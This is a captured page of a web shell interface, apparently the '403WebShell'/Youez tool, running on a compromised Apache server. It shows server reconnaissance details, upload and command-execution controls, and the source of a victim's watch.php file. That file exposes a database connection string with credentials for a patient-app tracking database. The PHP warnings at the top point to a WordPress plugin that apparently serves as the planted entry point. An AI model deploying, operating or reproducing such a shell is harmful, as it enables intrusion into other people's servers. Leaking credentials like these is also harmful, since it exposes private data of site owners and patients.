Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/api/.api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/api/.api/watch.php
<?php


	$db2 = new database_my2('mysql://tracker:UVo1cVNUTGVIYlg3SjxzPw==@127.0.0.1/apptrack');
	if (!$db2->Open()) {
        DbErr2($db2);
    };

    $timestamp = $_GET['ts'] ? intval($_GET['ts'], 10) : 0;
    if (!$timestamp) $timestamp = time();
    $dt = gmdate('Y-m-d H:i:s', $timestamp);

	$record = [
		'__table'      => 'app_event',
		'__existing'   => 0,
        'ae_timestamp' => $dt,
        'ae_source'    => empty($_GET['source']) ? 'unknown' : trim($_GET['source']),
        'ae_guid'      => empty($_GET['uuid']) ? '' : trim($_GET['uuid']),
        'ae_product'   => empty($_GET['product']) ? '' : trim($_GET['product']),
        'ae_type'      => empty($_GET['ev']) ? 'view' : trim($_GET['ev']),
        'ae_page'      => empty($_GET['page']) ? 0 : intval($_GET['page'],10),          // ver 1.9+
        'ae_version'   => empty($_GET['version']) ? NULL : trim($_GET['version']),      // ver 1.1+
        'ae_pagename'  => empty($_GET['name']) ? NULL : trim($_GET['name']),            // ver 1.1
        // to do: store ip address
	];

    $count = 1;
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $postdata = trim(file_get_contents('php://input'));
        $postdata = json_decode($postdata, TRUE);
        foreach($postdata as $item) {
            $count += PostItem($db2, $record, $item);
        }
    }

	$db2->SaveRecord($record);
    DbErr2($db2);

    $result = ['ok' => $count];
    ReturnJson($result);

function PostItem($db2, $record, $item) {
    $timestamp = $item['ts'];
    $dt = gmdate('Y-m-d H:i:s', $timestamp);
    $record['ae_timestamp'] = $dt;
    $record['ae_page'] = $item['page'];
    $record['ae_type'] = $item['et'];
	$db2->SaveRecord($record);
    DbErr2($db2);
    return 1;
}

Youez - 2016 - github.com/yon3zu
LinuXploit